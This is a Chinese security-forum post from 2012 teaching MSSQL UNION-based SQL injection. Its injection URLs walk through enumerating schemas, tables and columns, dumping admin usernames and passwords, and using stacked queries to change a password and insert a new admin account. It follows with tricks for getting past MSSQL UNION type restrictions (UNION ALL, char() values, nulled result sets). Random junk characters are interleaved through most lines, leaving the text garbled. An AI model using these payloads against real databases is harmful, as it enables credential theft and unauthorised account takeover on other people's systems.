找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1926|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
+ N& \, R/ k! ^3 Jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--, ]- s% H3 @- Q0 d3 f
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.' ~' o$ Q2 v1 N7 q) ]
爆下一个库:$ ^+ @5 x5 H+ X: U, x* U7 `
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
) a  K; A' M. |) u% \0 i( f
+ T9 v$ x; H# v  ?" c& D7 S/ c5 ^爆表:
( P2 }, {8 g0 S( Fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--! N  t/ C& _4 L+ U
" v) n4 h& H3 F
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.' [# M7 }5 _5 Y

0 y! m( Z$ J% j3 d7 S爆下一个表, Y% w7 {6 t" c. J
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
5 x* m( ], Z3 ]$ \, n0 F( \' H1 j' e' t* @& X6 h" o  S
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
/ |1 \, o3 C/ v1 U9 t& _* K
1 @& p) i' v/ ?$ @! ^& D/ T9 @  Z+ I8 G' B
. R% m" z* l* T: S9 Q* y
爆字段:
9 V: f- E/ s: E4 M8 T) K/ shttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--" t7 g  l+ T* f( q6 Y2 u. M

" N* D1 A( b! z/ H/ r/ g爆下一个字段
1 k! B( C# e; G7 s# q1 thttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--# G: [" u3 I* Z! C, e! C" {6 n

6 N. E/ z: a0 O" P) i% h  `http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
6 x$ T$ D6 f$ s: B1 K+ z2 r' I/ x+ I+ I( w+ u: K/ m

8 I9 H" _# ?* I2 g; q% k1 @爆字段里的内容
1 i9 Y4 m8 F* U  P1 J7 Chttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--' {7 C) C4 K9 t4 s' a
7 P3 [2 |0 T5 L; H. V# M
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--3 k' Q* \6 ?! r0 `: g
; O2 K' u& K6 g6 b, E! j
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--. g( e- D7 O' F+ N2 E

" f7 w6 G( N& p4 Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--. W6 I' v4 p+ U2 v

; g0 \( V; C' Z4 x- z. Y9 g) V更新字段里的内容+ ~5 y3 R! X/ y  v% {/ S9 o
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--, H6 w( s, A) @; U; z
2 N) D0 k/ l5 Y9 A
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
& W$ y  k/ S7 [  ^6 {5 b' o+ @5 x$ a/ W8 I# H" b5 d. y

% d  i. [( H" R0 V8 k/ P' _/ s
! c, Y2 o1 U) ^        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
( f6 H  ]( I" Y. N    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
0 X; w* {) i' |    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
' {) N6 a2 `% v: H6 T$ x% X. {    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
2 a5 o& @( q' \
9 N1 I: f- ]9 ?- f0 l' j2 x突了了大部份限制的语句) m! L7 W; f0 \+ ~& n* c& Y
and 1=2 union all select char(49),char(50),null,null;--
, k1 U- Y8 v) B
0 }! j0 Q" l7 N/ @1 ^8 N
: E6 X- X8 b: U; w4 P$ r7 onull也可以正常执行,不过没有回显,不好判断回显的列数。# i3 m8 q; `( z8 ]0 F& u% u. E
一般union遇到问题都是有text或者ntext字段,image的很少遇到+ x4 W% ?  `4 c# n7 z0 D
! B: }. K% Q, X* w4 p
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟2 s& ~' i% @6 F9 P9 ]5 ~1 a, n, t

2 e7 s3 ~* A+ J+ _3 U
% f, P- e# s, z" V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表